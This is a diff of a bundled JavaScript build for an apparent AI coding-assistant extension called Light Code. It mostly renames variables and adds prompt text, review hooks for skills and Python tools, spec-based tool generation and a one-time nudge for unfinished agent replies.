+      "Two things are stated plainly rather than glossed. **Indexing is the largest egress in the product**: enabling it sends your workspace to the embedder. And **nothing is sandboxed** - commands, Python tools and MCP servers run as you, with your permissions, and Light Code does not protect you from another process running as the same user. Approval is the real boundary, which is why it is per-invocation and why every toggle ships off.",
+      "Source, issues and the full security section: [github.com/chosengenerationdev/light-code](https://github.com/chosengenerationdev/light-code)"
+    ]
+  }
+];
+
 // ../../packages/core/dist/config/scopes.js
 var USER_SCOPE_ONLY_KEYS = [
   "profiles",
   "activeProfileId",
+  // Names where inference goes, exactly as the other two do.
+  "programmingProfileId",
   "certDir",
   // The whole block, not just uvPath: toolsDir and venvPath also name where code is found
   // and run from, and dynamicTools decides whether model-authored code runs at all.
@@ -50510,7 +50814,7 @@ function describeTlsError(error51) {
 }
 
 // ../../packages/core/dist/providers/auth/certs.js
-import crypto2 from "node:crypto";
+import crypto from "node:crypto";
 import fs4 from "node:fs/promises";
 import path6 from "node:path";
 var CertError = class extends Error {
@@ -50547,12 +50851,12 @@ function assertKeyMatchesCert(cert, key, passphrase) {
   let publicKey;
   let privateKey;
   try {
-    publicKey = new crypto2.X509Certificate(cert).publicKey;
+    publicKey = new crypto.X509Certificate(cert).publicKey;
   } catch (error51) {
     throw new CertError(`The certificate could not be parsed: ${error51 instanceof Error ? error51.message : String(error51)}`);
   }
   try {
-    privateKey = crypto2.createPrivateKey(passphrase !== void 0 ? { key, passphrase } : { key });
+    privateKey = crypto.createPrivateKey(passphrase !== void 0 ? { key, passphrase } : { key });
   } catch (error51) {
     const message = error51 instanceof Error ? error51.message : String(error51);
     if (/bad decrypt|bad password|passphrase/i.test(message)) {
@@ -50562,14 +50866,14 @@ function assertKeyMatchesCert(cert, key, passphrase) {
   }
   const probe2 = Buffer.from("light-code-key-match-probe");
   try {
-    const signature = crypto2.sign(null, probe2, privateKey);
-    if (!crypto2.verify(null, probe2, publicKey, signature)) {
+    const signature = crypto.sign(null, probe2, privateKey);
+    if (!crypto.verify(null, probe2, publicKey, signature)) {
       throw new CertError("The private key does not match the certificate.");
     }
   } catch (error51) {
     if (error51 instanceof CertError)
       throw error51;
-    const derived = crypto2.createPublicKey(privateKey).export({ type: "spki", format: "der" });
+    const derived = crypto.createPublicKey(privateKey).export({ type: "spki", format: "der" });
     const expected = publicKey.export({ type: "spki", format: "der" });
     if (!derived.equals(expected)) {
       throw new CertError("The private key does not match the certificate.");
@@ -50601,7 +50905,7 @@ async function loadCerts(config2) {
   loaded.cert = cert;
   loaded.key = key;
   try {
-    loaded.notAfter = new Date(new crypto2.X509Certificate(cert).validTo);
+    loaded.notAfter = new Date(new crypto.X509Certificate(cert).validTo);
   } catch {
   }
   return loaded;
@@ -51701,8 +52005,8 @@ var SUPERSEDED_MARKER = "[Superseded: this file was read again later in the conv
 function readFilePath(argumentsJson) {
   try {
     const parsed = JSON.parse(argumentsJson.length > 0 ? argumentsJson : "{}");
-    const path26 = parsed.path;
-    return typeof path26 === "string" && path26.length > 0 ? path26 : void 0;
+    const path29 = parsed.path;
+    return typeof path29 === "string" && path29.length > 0 ? path29 : void 0;
   } catch {
     return void 0;
   }
@@ -51715,8 +52019,8 @@ function dropSupersededReads(messages) {
     for (const toolCall of message.toolCalls ?? []) {
       if (toolCall.name !== "read_file")
         continue;
-      const path26 = readFilePath(toolCall.arguments);
-      if (path26 === void 0)
+      const path29 = readFilePath(toolCall.arguments);
+      if (path29 === void 0)
         continue;
       keyByCallId.set(toolCall.id, toolCall.arguments);
     }
@@ -52106,8 +52410,20 @@ function buildSystemPrompt(workspaceRoot, options = {}) {
   if (options.skills !== void 0 && options.skills.length > 0) {
     lines.push("", options.skills);
   }
+  if (options.pythonToolsDisabled === true) {
+    lines.push(
+      "",
+      "Python tools:",
+      "- You cannot create runnable tools right now \u2014 the feature is switched off in Settings",
+      "  \u2192 Python.",
+      // One line, unwrapped: it is the instruction that matters and a test asserts it verbatim.
+      "- Do not write a script and call it a tool.",
+      '- If the user asks for a "tool", say it is switched off and let them choose: enable it in',
+      "  Settings \u2192 Python, or have you write an ordinary script instead."
+    );
+  }
   if (options.canWriteSkills === true) {
-    lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", "  library and how to use it, a house convention, the shape of an in-house API, a", "  gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", "  do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', "  conversation. A one-off instruction for the current task is not a skill.", "- Before writing a new skill, check the list above: if one already covers the", "  subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", "  it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", '  path, the function, and show a short example. Avoid "as discussed" and "the usual".', "- The description line is the only part always in context, so make it say what", "  subject the skill covers \u2014 it is a trigger for reading, not a summary.");
+    lines.push("", "Recording what you learn:", "- When the user explains something durable about their environment \u2014 an internal", "  library and how to use it, a house convention, the shape of an in-house API, a", "  gotcha specific to this codebase \u2014 offer to record it with write_skill. Ask first;", "  do not write one unprompted.", '- "Durable" means it would be true again next week and useful to a future', "  conversation. A one-off instruction for the current task is not a skill.", options.skillsSearchable === true ? "- Before writing a new skill, search for one with search_docs: if a note already covers the subject, read it and update that instead of creating a near-duplicate." : "- Before writing a new skill, check the list above: if one already covers the subject, read it and update that instead of creating a near-duplicate.", "- When you learn something *corrects* an existing skill, say so and offer to update", "  it. A stale skill is worse than a missing one, because it is trusted.", "- Write for a reader who has none of this conversation: name the package, the import", '  path, the function, and show a short example. Avoid "as discussed" and "the usual".', options.skillsSearchable === true ? "- The description line is what search matches on, so make it say what subject the skill covers in the words someone would search for \u2014 it is a trigger, not a summary." : "- The description line is the only part always in context, so make it say what subject the skill covers \u2014 it is a trigger for reading, not a summary.");
   }
   if (options.expertAvailable === true) {
     lines.push("", "Expert consultation:", "- A stronger model, Claude, is available through the ask_expert tool. You CAN talk to", "  it. Never tell the user you have no way to reach another model \u2014 you do.", '- **If the user asks you to consult it, do so.** "Ask Claude", "check with the', '  expert", "what does Claude think" and anything similar are direct instructions.', "  It is their money and their decision; do not talk them out of it or decide the", "  question is too simple to be worth asking.", "- Otherwise, judge it yourself. It costs real money per call, so on your own", "  initiative use it for: planning a change spanning several files, diagnosing a bug", "  you have already failed to fix once, choosing between designs with long-lived", "  consequences, or reviewing something subtle before committing to it.", "- On your own initiative, do not use it for anything you could answer by reading a", "  file, for routine edits, or for restating something already established here.", "- If you decide against consulting it, say that you chose not to and why. Do not say", "  you are unable to.", "- The expert can read and search this workspace but cannot edit or run anything. It", "  cannot see this conversation, so put the context it needs in your question.", "- You remain responsible for the work. Treat its answer as advice from a colleague:", "  verify it against the actual code, and say so if you disagree.");
@@ -52700,13 +53016,13 @@ var OpenSearchClient = class {
    * `_bulk`, `_delete_by_query`, index creation — is refused here rather than merely
    * unused, so no future edit or crafted argument can turn a read client into a writer.
    */
-  async request(path26, options = {}) {
+  async request(path29, options = {}) {
     const method = options.method ?? "GET";
-    const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path26);
+    const isSearchPost = method === "POST" && /\/_search(\?|$)/.test(path29);
     if (method !== "GET" && !isSearchPost) {
-      throw new OpenSearchError(`Refusing ${method} ${path26}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
+      throw new OpenSearchError(`Refusing ${method} ${path29}: this client is read-only. Indexing goes through the indexer, which the user starts from Settings.`);
     }
-    const url2 = `${this.base}${path26}`;
+    const url2 = `${this.base}${path29}`;
     const request = {
       method,
       headers: this.headers()
@@ -52860,11 +53176,11 @@ function collectFields(properties, prefix, out) {
     return;
   for (const [name, raw] of Object.entries(properties)) {
     const field = raw;
-    const path26 = prefix.length > 0 ? `${prefix}.${name}` : name;
+    const path29 = prefix.length > 0 ? `${prefix}.${name}` : name;
     if (typeof field.type === "string")
-      out[path26] = field.type;
+      out[path29] = field.type;
     if (field.properties !== void 0)
-      collectFields(field.properties, path26, out);
+      collectFields(field.properties, path29, out);
   }
 }
 function describeStatus(status, url2, body) {
@@ -52883,23 +53199,23 @@ function describeStatus(status, url2, body) {
 var TEXT_TYPES = /* @__PURE__ */ new Set(["text", "match_only_text", "search_as_you_type", "wildcard"]);
 var KEYWORD_TYPES = /* @__PURE__ */ new Set(["keyword", "constant_keyword"]);
 var NOISE_FIELDS = /* @__PURE__ */ new Set(["@version", "ecs", "tags", "stream", "input", "agent", "host", "event"]);
-function leafName(path26) {
-  const parts = path26.split(".");
-  return parts[parts.length - 1] ?? path26;
+function leafName(path29) {
+  const parts = path29.split(".");
+  return parts[parts.length - 1] ?? path29;
 }
 function selectQueryFields(mapping, limit = 25) {
   const text = [];
   const keyword = [];
-  for (const [path26, type] of Object.entries(mapping)) {
-    if (NOISE_FIELDS.has(leafName(path26)) || NOISE_FIELDS.has(path26.split(".")[0] ?? ""))
+  for (const [path29, type] of Object.entries(mapping)) {
+    if (NOISE_FIELDS.has(leafName(path29)) || NOISE_FIELDS.has(path29.split(".")[0] ?? ""))
       continue;
     if (TEXT_TYPES.has(type)) {
-      text.push(path26);
+      text.push(path29);
     } else if (KEYWORD_TYPES.has(type)) {
-      const parent = path26.replace(/\.keyword$/, "");
-      if (path26.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
+      const parent = path29.replace(/\.keyword$/, "");
+      if (path29.endsWith(".keyword") && TEXT_TYPES.has(mapping[parent] ?? ""))
         continue;
-      keyword.push(path26);
+      keyword.push(path29);
     }
   }
   const byDepth = (a, b) => a.split(".").length - b.split(".").length || a.localeCompare(b);
@@ -53041,8 +53357,8 @@ var OpenSearchIndexWriter = class {
     }
     return headers;
   }
-  async request(path26, method, body, signal) {
-    const url2 = `${this.connection.url.replace(/\/+$/, "")}${path26}`;
+  async request(path29, method, body, signal) {
+    const url2 = `${this.connection.url.replace(/\/+$/, "")}${path29}`;
     const request = { method, headers: this.headers() };
     if (body !== void 0) {
       if (typeof body === "string") {
@@ -53197,13 +53513,13 @@ var OpenSearchIndexWriter = class {
       for (const hit of hits) {
         const source = hit._source ?? {};
         const vector = source.vector;
-        const path26 = source.path;
-        if (typeof path26 !== "string" || !Array.isArray(vector))
+        const path29 = source.path;
+        if (typeof path29 !== "string" || !Array.isArray(vector))
           continue;
         documents.push({
           id: hit._id ?? "",
           text: typeof source.text === "string" ? source.text : "",
-          path: path26,
+          path: path29,
           startLine: typeof source.startLine === "number" ? source.startLine : 1,
           endLine: typeof source.endLine === "number" ? source.endLine : 1,
           vector
@@ -53277,8 +53593,8 @@ var RestTransport = class {
    * threw would push every caller into catching and re-inspecting an error to find out
    * whether it was really an error. `expectOk` is there for the cases that are.
    */
-  async send(path26, method, body, signal) {
-    const url2 = `${this.connection.url.replace(/\/+$/, "")}${path26}`;
+  async send(path29, method, body, signal) {
+    const url2 = `${this.connection.url.replace(/\/+$/, "")}${path29}`;
     const request = { method, headers: this.headers() };
     if (body !== void 0)
       request.body = JSON.stringify(body);
@@ -53304,11 +53620,11 @@ var RestTransport = class {
     return { status: response.status, body: parsed };
   }
   /** Sends, and throws unless the status is 2xx. */
-  async expectOk(path26, method, body, signal) {
-    const result = await this.send(path26, method, body, signal);
+  async expectOk(path29, method, body, signal) {
+    const result = await this.send(path29, method, body, signal);
     if (result.status < 200 || result.status >= 300) {
       const detail = typeof result.body === "string" ? result.body : JSON.stringify(result.body ?? "");
-      throw new VectorStoreError(`${method} ${path26} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
+      throw new VectorStoreError(`${method} ${path29} on ${this.label} returned HTTP ${String(result.status)}. ${detail.slice(0, 300)}`, result.status);
     }
     return result.body;
   }
@@ -53402,10 +53718,10 @@ var ChromaSearcher = class extends ChromaBase {
     const matches = [];
     for (let index = 0; index < ids.length; index++) {
       const metadata = metadatas[index] ?? {};
-      const path26 = typeof metadata.path === "string" ? metadata.path : void 0;
-      if (path26 === void 0)
+      const path29 = typeof metadata.path === "string" ? metadata.path : void 0;
+      if (path29 === void 0)
         continue;
-      if (filtering && !path26.startsWith(prefix))
+      if (filtering && !path29.startsWith(prefix))
         continue;
       const distance = distances[index];
       const match = {
@@ -53417,7 +53733,7 @@ var ChromaSearcher = class extends ChromaBase {
          */
         score: typeof distance === "number" ? 1 / (1 + Math.max(0, distance)) : 0,
         text: documents[index] ?? (typeof metadata.text === "string" ? metadata.text : ""),
-        path: path26
+        path: path29
       };
       if (typeof metadata.startLine === "number")
         match.startLine = metadata.startLine;
@@ -53522,13 +53838,13 @@ var ChromaIndexWriter = class extends ChromaBase {
     for (let index = 0; index < ids.length; index++) {
       const metadata = result.metadatas?.[index] ?? {};
       const vector = result.embeddings?.[index];
-      const path26 = typeof metadata.path === "string" ? metadata.path : void 0;
-      if (path26 === void 0 || !Array.isArray(vector))
+      const path29 = typeof metadata.path === "string" ? metadata.path : void 0;
+      if (path29 === void 0 || !Array.isArray(vector))
         continue;
       documents.push({
         id: ids[index] ?? "",
         text: result.documents?.[index] ?? "",
-        path: path26,
+        path: path29,
         startLine: typeof metadata.startLine === "number" ? metadata.startLine : 1,
         endLine: typeof metadata.endLine === "number" ? metadata.endLine : 1,
         vector
@@ -53545,9 +53861,9 @@ var ChromaIndexWriter = class extends ChromaBase {
     const result = await this.rest.expectOk(`${this.base}/collections/${found.id}/get`, "POST", { include: ["metadatas"], limit }, options.signal);
     const paths = /* @__PURE__ */ new Set();
     for (const metadata of result.metadatas ?? []) {
-      const path26 = metadata?.path;
-      if (typeof path26 === "string")
-        paths.add(path26);
+      const path29 = metadata?.path;
+      if (typeof path29 === "string")
+        paths.add(path29);
     }
     return [...paths];
   }
@@ -53574,14 +53890,14 @@ var MARKER_ID = "5f6d2a41-0000-5000-8000-6c69676874c0";
 var MARKER_MARK = "light-code";
 function toMatch(point) {
   const payload = point.payload ?? {};
-  const path26 = typeof payload.path === "string" ? payload.path : void 0;
-  if (path26 === void 0)
+  const path29 = typeof payload.path === "string" ? payload.path : void 0;
+  if (path29 === void 0)
     return void 0;
   const match = {
     id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
     score: typeof point.score === "number" ? point.score : 0,
     text: typeof payload.text === "string" ? payload.text : "",
-    path: path26
+    path: path29
   };
   if (typeof payload.startLine === "number")
     match.startLine = payload.startLine;
@@ -53744,13 +54060,13 @@ var QdrantIndexWriter = class extends QdrantBase {
     const documents = [];
     for (const point of result.body.result?.points ?? []) {
       const payload = point.payload ?? {};
-      const path26 = typeof payload.path === "string" ? payload.path : void 0;
-      if (path26 === void 0 || !Array.isArray(point.vector))
+      const path29 = typeof payload.path === "string" ? payload.path : void 0;
+      if (path29 === void 0 || !Array.isArray(point.vector))
         continue;
       documents.push({
         id: typeof payload.chunkId === "string" ? payload.chunkId : point.id,
         text: typeof payload.text === "string" ? payload.text : "",
-        path: path26,
+        path: path29,
         startLine: typeof payload.startLine === "number" ? payload.startLine : 1,
         endLine: typeof payload.endLine === "number" ? payload.endLine : 1,
         vector: point.vector
@@ -53777,9 +54093,9 @@ var QdrantIndexWriter = class extends QdrantBase {
         throw new VectorStoreError(`Could not list "${collection}" (HTTP ${String(result.status)}).`, result.status);
       }
       for (const point of result.body.result?.points ?? []) {
-        const path26 = point.payload?.path;
-        if (typeof path26 === "string")
-          paths.add(path26);
+        const path29 = point.payload?.path;
+        if (typeof path29 === "string")
+          paths.add(path29);
       }
       offset = result.body.result?.next_page_offset;
       if (offset === void 0 || offset === null)
@@ -54933,14 +55249,14 @@ function formatBytes(size) {
     return `${(size / (1 << 10)).toFixed(1)}KB`;
   return `${String(size)}B`;
 }
-async function readTail(fs20, path26, size, count) {
+async function readTail(fs23, path29, size, count) {
   let span = Math.min(size, CHUNK);
   let text;
   let start;
   for (; ; ) {
     start = Math.max(0, size - span);
     const decoder = new StringDecoder("utf8");
-    text = decoder.write(await fs20.readBytesSlice(path26, start, size)) + decoder.end();
+    text = decoder.write(await fs23.readBytesSlice(path29, start, size)) + decoder.end();
     const enough = text.split("\n").length > count;
     if (enough || start === 0 || span >= size)
       break;
@@ -54958,7 +55274,7 @@ async function readTail(fs20, path26, size, count) {
     hasMoreAfter: false
   };
 }
-async function readLineWindow(fs20, path26, size, from, count) {
+async function readLineWindow(fs23, path29, size, from, count) {
   const decoder = new StringDecoder("utf8");
   const lines = [];
   let pending = "";
@@ -54973,7 +55289,7 @@ async function readLineWindow(fs20, path26, size, from, count) {
   };
   scan: while (position < size) {
     const end = Math.min(size, position + CHUNK);
-    pending += decoder.write(await fs20.readBytesSlice(path26, position, end));
+    pending += decoder.write(await fs23.readBytesSlice(path29, position, end));
     position = end;
     const parts = pending.split(/\r\n|\r|\n/);
     pending = parts.pop() ?? "";
@@ -54996,13 +55312,13 @@ async function readLineWindow(fs20, path26, size, from, count) {
     hasMoreAfter: !reachedEnd || lineNumber > from + lines.length
   };
 }
-async function countLines(fs20, path26, size) {
+async function countLines(fs23, path29, size) {
   let newlines = 0;
   let position = 0;
   let lastByte = -1;
   while (position < size) {
     const end = Math.min(size, position + CHUNK);
-    const buffer = await fs20.readBytesSlice(path26, position, end);
+    const buffer = await fs23.readBytesSlice(path29, position, end);
     for (const byte of buffer)
       if (byte === 10)
         newlines += 1;
@@ -55075,7 +55391,7 @@ function chunkFile(content, options = {}) {
 }
 
 // ../../packages/core/dist/rag/indexer.js
-import crypto3 from "node:crypto";
+import crypto2 from "node:crypto";
 import fs5 from "node:fs/promises";
 import path9 from "node:path";
 var ALWAYS_SKIP = /* @__PURE__ */ new Set([
@@ -55170,7 +55486,7 @@ var SKIP_FILENAMES = /* @__PURE__ */ new Set([
   ".env"
 ]);
 function hashContent(content) {
-  return crypto3.createHash("sha256").update(content).digest("hex").slice(0, 32);
+  return crypto2.createHash("sha256").update(content).digest("hex").slice(0, 32);
 }
 function chunkSignatureFor(options) {
   return JSON.stringify([options?.windowLines ?? null, options?.overlapLines ?? null, options?.maxChars ?? null]);
@@ -59074,12 +59390,12 @@ function createFetchWithInit(baseFetch = fetch, baseInit) {
 }
 
 // ../../node_modules/.pnpm/pkce-challenge@5.0.1/node_modules/pkce-challenge/dist/index.node.js
-var crypto4;
-crypto4 = globalThis.crypto?.webcrypto ?? // Node.js [18-16] REPL
+var crypto3;
+crypto3 = globalThis.crypto?.webcrypto ?? // Node.js [18-16] REPL
 globalThis.crypto ?? // Node.js >18
 import("node:crypto").then((m) => m.webcrypto);
 async function getRandomValues(size) {
-  return (await crypto4).getRandomValues(new Uint8Array(size));
+  return (await crypto3).getRandomValues(new Uint8Array(size));
 }
 async function random(size) {
   const mask = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~";
@@ -59099,7 +59415,7 @@ async function generateVerifier(length) {
   return await random(length);
 }
 async function generateChallenge(code_verifier) {
-  const buffer = await (await crypto4).subtle.digest("SHA-256", new TextEncoder().encode(code_verifier));
+  const buffer = await (await crypto3).subtle.digest("SHA-256", new TextEncoder().encode(code_verifier));
   return btoa(String.fromCharCode(...new Uint8Array(buffer))).replace(/\//g, "_").replace(/\+/g, "-").replace(/=/g, "");
 }
 async function pkceChallenge(length) {
@@ -61223,6 +61539,24 @@ async function loadSkills(dirs) {
   skills.sort((a, b) => a.name.localeCompare(b.name));
   return { skills, issues };
 }
+function renderSkillsHintForPrompt(count) {
+  if (count === 0)
+    return "";
+  const plural = count === 1 ? "note has" : "notes have";
+  return [
+    "## Skills",
+    "",
+    `${String(count)} ${plural} been recorded for this workspace: house conventions, internal`,
+    "libraries, and gotchas specific to this codebase. They are not listed here.",
+    "",
+    "- Before working on an unfamiliar part of this workspace, or whenever the user mentions",
+    "  something internal you do not recognise, call search_docs to look for a relevant note.",
+    '- Search by subject, in your own words \u2014 "how we call internal HTTP services", not a',
+    "  guessed file name.",
+    "- A hit gives you the summary and a path. Read the file for the full text before acting",
+    "  on the subject."
+  ].join("\n");
+}
 function renderSkillsForPrompt(skills) {
   if (skills.length === 0)
     return "";
@@ -61281,8 +61615,19 @@ function createWriteSkillTool(context) {
     async execute(params) {
       try {
         const filePath = await resolveSkillPath(context.skillsDir, params.name);
-        const existed = (await readIfPresent(filePath)).length > 0;
-        await fs9.writeFile(filePath, renderSkill(params.name, params.description, params.body), "utf8");
+        const before = await readIfPresent(filePath);
+        const existed = before.length > 0;
+        const rendered = renderSkill(params.name, params.description, params.body);
+        if (context.submitForReview !== void 0) {
+          return {
+            content: await context.submitForReview({
+              name: params.name,
+              content: rendered,
+              existingContent: before
+            })
+          };
+        }
+        await fs9.writeFile(filePath, rendered, "utf8");
         await context.onChanged();
         return {
           content: `${existed ? "Updated" : "Recorded"} the skill "${params.name}" at ${filePath}.
@@ -61323,12 +61668,12 @@ import fs12 from "node:fs/promises";
 import path16 from "node:path";
 
 // ../../packages/core/dist/python/registry.js
-import crypto5 from "node:crypto";
+import crypto4 from "node:crypto";
 import fs10 from "node:fs/promises";
 import path14 from "node:path";
 var REGISTRY_FILE = ".registry.json";
 function hashSource(source) {
-  return crypto5.createHash("sha256").update(source.replace(/\r\n/g, "\n")).digest("hex");
+  return crypto4.createHash("sha256").update(source.replace(/\r\n/g, "\n")).digest("hex");
 }
 function isValidToolName(name) {
   return /^[a-z][a-z0-9_]{0,63}$/.test(name);
@@ -61484,6 +61829,10 @@ var createParams = external_exports.object({
   name: external_exports.string().describe("Tool name: lowercase letters, digits and underscores. Becomes py__<name> and <name>.py."),
   source: external_exports.string().describe("The complete Python file. Must define `run`. Use type hints \u2014 the parameter schema is derived from them. The module docstring becomes the tool description; document parameters in a Google-style Args: block. Declare dependencies in a PEP 723 inline block if you need any.")
 });
+var specifyParams = external_exports.object({
+  name: external_exports.string().describe("Tool name: lowercase letters, digits and underscores. Becomes py__<name> and <name>.py."),
+  specification: external_exports.string().describe("What the tool must do, in prose. A model configured for code writes the file from this; you do not write Python here. Say what it takes, what it returns, and any library or endpoint it must use. The user approves the generated source before anything runs.")
+});
 var deleteParams2 = external_exports.object({
   name: external_exports.string().describe("The tool to remove.")
 });
@@ -61502,11 +61851,34 @@ async function readIfPresent2(filePath) {
   }
 }
 function makeWriteTool(context, options) {
+  const generator = context.generateSource;
+  const pending = /* @__PURE__ */ new Map();
+  const sourceFor = async (params) => {
+    if (generator === void 0 || params.specification === void 0) {
+      return { source: params.source };
+    }
+    const key = `${params.name}::${params.specification}`;
+    let inFlight = pending.get(key);
+    if (inFlight === void 0) {
+      const toolPath = resolveToolPath(context.toolsDir, params.name);
+      inFlight = (async () => {
+        const before = await readIfPresent2(await toolPath);
+        const generated = await generator({
+          toolName: params.name,
+          specification: params.specification ?? "",
+          ...before.length > 0 ? { existingSource: before } : {}
+        });
+        return { source: unwrapFencedSource(generated.source), producedBy: generated.producedBy };
+      })();
+      pending.set(key, inFlight);
+    }
+    return inFlight;
+  };
   return {
     name: options.name,
     group: "edit",
     description: options.description,
-    parametersSchema: createParams,
+    parametersSchema: generator !== void 0 ? specifyParams : createParams,
     /**
      * A real diff of the real file: its current content against exactly the bytes that
      * will be written. Not a summary and not the model's account of what it wrote
@@ -61516,7 +61888,14 @@ function makeWriteTool(context, options) {
     async preview(params) {
       const filePath = await resolveToolPath(context.toolsDir, params.name);
       const before = await readIfPresent2(filePath);
-      return { kind: "diff", path: filePath, before, after: params.source };
+      const { source, producedBy } = await sourceFor(params);
+      return {
+        kind: "diff",
+        path: filePath,
+        before,
+        after: source,
+        ...producedBy !== void 0 ? { note: `Written by ${producedBy}` } : {}
+      };
     },
     async execute(params) {
       try {
@@ -61531,15 +61910,26 @@ function makeWriteTool(context, options) {
             isError: true
           };
         }
+        const { source, producedBy } = await sourceFor(params);
+        if (context.submitForReview !== void 0) {
+          return {
+            content: await context.submitForReview({
+              name: params.name,
+              content: source,
+              existingContent: before,
+              ...producedBy !== void 0 ? { producedBy } : {}
+            })
+          };
+        }
         await fs11.mkdir(context.toolsDir, { recursive: true });
-        await fs11.writeFile(filePath, params.source, "utf8");
+        await fs11.writeFile(filePath, source, "utf8");
         const restore = async () => {
           if (before.length > 0)
             await fs11.writeFile(filePath, before, "utf8");
           else
             await fs11.rm(filePath, { force: true });
         };
-        const declared = parseInlineDependencies(params.source);
+        const declared = parseInlineDependencies(source);
         if (declared.length > 0) {
           if (context.installDeps === void 0) {
             await restore();
@@ -61567,7 +61957,7 @@ ${message}
 
 ${traceback ?? ""}`.trim(), isError: true };
         }
-        await approveTool(context.toolsDir, params.name, params.source, described);
+        await approveTool(context.toolsDir, params.name, source, described);
         await context.onChanged();
         return {
           content: `Saved and registered as py__${params.name}.
@@ -61731,7 +62121,7 @@ var PythonManager = class {
       return;
     }
     try {
-      const env2 = minimalPythonEnv();
+      const env2 = minimalPythonEnv(this.options.sessionEnv?.() ?? {});
       let interpreter;
       if (config2.venvPath !== void 0 && config2.venvPath.trim().length > 0) {
         this.venvPath = config2.venvPath.trim();
@@ -61828,8 +62218,10 @@ var PythonManager = class {
       return [];
     const worker = this.worker;
     const uv = this.uv;
+    const generated = this.options.generateSource?.();
     const context = {
       toolsDir: this.toolsDir,
+      ...generated !== void 0 ? { generateSource: generated } : {},
       worker,
       onChanged: () => this.refresh(),
       ...uv !== void 0 ? {
@@ -61840,7 +62232,7 @@ var PythonManager = class {
           ...this.indexUrl !== void 0 ? { indexUrl: this.indexUrl } : {},
           extraIndexUrls: this.extraIndexUrls,
           offline: this.offline,
-          env: minimalPythonEnv()
+          env: minimalPythonEnv(this.options.sessionEnv?.() ?? {})
         })
       } : {}
     };
@@ -62246,6 +62638,31 @@ function renderDocsMatches(options, matches) {
   }).filter((rendered) => rendered !== void 0).join("\n\n");
 }
 
+// ../../packages/core/dist/agent/unfinished.js
+var MAX_PREAMBLE_LENGTH = 400;
+var FORWARD_LOOKING = /^(let me\b|let's\b|i'?ll\b|i will\b|i'?m going to\b|going to\b|now i\b|next,? i\b|first,? i\b|starting\b|beginning\b)/i;
+var HANDING_BACK = /^(let me know\b|let us know\b|i'?ll be happy\b|i'?ll wait\b|i'?ll stand by\b|let me know if\b|i'?ll leave\b)/i;
+function lastSentence(text) {
+  const trimmed = text.trim();
+  const parts = trimmed.split(/(?<=[.!?])\s+/);
+  return (parts[parts.length - 1] ?? trimmed).trim();
+}
+function looksUnfinished(text) {
+  const trimmed = text.trim();
+  if (trimmed.length === 0 || trimmed.length > MAX_PREAMBLE_LENGTH)
+    return false;
+  if (trimmed.endsWith("?"))
+    return false;
+  if (trimmed.endsWith(":"))
+    return true;
+  const last = lastSentence(trimmed);
+  if (HANDING_BACK.test(last))
+    return false;
+  return FORWARD_LOOKING.test(last);
+}
+var CONTINUE_PROMPT = "You described what you were about to do but did not call a tool, so nothing happened. If you meant to act, call the tool now. If you were already finished, call attempt_completion with a summary instead.";
+var MAX_CONTINUE_NUDGES = 1;
+
 // ../../packages/core/dist/agent/truncate.js
 import { randomUUID as randomUUID2 } from "node:crypto";
 import fs13 from "node:fs/promises";
@@ -62486,6 +62903,7 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
   conversation.addUserMessage(userMessage, options.images);
   const maxIterations = options.maxIterations ?? DEFAULT_MAX_ITERATIONS;
   const mistakeCounts = /* @__PURE__ */ new Map();
+  let continueNudges = 0;
   const mode = options.mode ?? CODE_MODE;
   const tools = toToolDefinitions(toolsForMode(toolRegistry, mode));
   let checkpointTaken = false;
@@ -62519,12 +62937,18 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
       return;
     }
     if (toolCall === void 0) {
-      if (assistantText.length > 0) {
-        conversation.addAssistantMessage(assistantText);
-        events.onDone();
-      } else {
+      if (assistantText.length === 0) {
         events.onError("The provider finished without returning any text. Check the base URL and model name, and that the endpoint supports streaming chat completions.");
+        return;
       }
+      conversation.addAssistantMessage(assistantText);
+      if (continueNudges < MAX_CONTINUE_NUDGES && looksUnfinished(assistantText)) {
+        continueNudges++;
+        conversation.addUserMessage(CONTINUE_PROMPT);
+        events.onNudgedToContinue?.();
+        continue;
+      }
+      events.onDone();
       return;
     }
     conversation.addAssistantMessage(assistantText, [toolCall]);
@@ -62639,17 +63063,17 @@ var WebviewApprovalGate = class {
 // ../../packages/core/dist/platform/node/filesystem.js
 import fs14 from "node:fs/promises";
 var NodeFileSystem = class {
-  async readFile(path26) {
-    return fs14.readFile(path26, "utf8");
+  async readFile(path29) {
+    return fs14.readFile(path29, "utf8");
   }
-  async readBytes(path26) {
-    return fs14.readFile(path26);
+  async readBytes(path29) {
+    return fs14.readFile(path29);
   }
-  async readBytesSlice(path26, start, end) {
+  async readBytesSlice(path29, start, end) {
     const length = Math.max(0, end - start);
     if (length === 0)
       return Buffer.alloc(0);
-    const handle = await fs14.open(path26, "r");
+    const handle = await fs14.open(path29, "r");
     try {
       const buffer = Buffer.alloc(length);
       const { bytesRead } = await handle.read(buffer, 0, length, start);
@@ -62658,11 +63082,11 @@ var NodeFileSystem = class {
       await handle.close();
     }
   }
-  async writeFile(path26, contents) {
-    await fs14.writeFile(path26, contents, "utf8");
+  async writeFile(path29, contents) {
+    await fs14.writeFile(path29, contents, "utf8");
   }
-  async stat(path26) {
-    const stat = await fs14.lstat(path26);
+  async stat(path29) {
+    const stat = await fs14.lstat(path29);
     return {
       size: stat.size,
       mtimeMs: stat.mtimeMs,
@@ -62671,8 +63095,8 @@ var NodeFileSystem = class {
       isSymbolicLink: stat.isSymbolicLink()
     };
   }
-  async readdir(path26) {
-    const entries = await fs14.readdir(path26, { withFileTypes: true });
+  async readdir(path29) {
+    const entries = await fs14.readdir(path29, { withFileTypes: true });
     return entries.map((entry) => ({
       name: entry.name,
       isFile: entry.isFile(),
@@ -62680,16 +63104,16 @@ var NodeFileSystem = class {
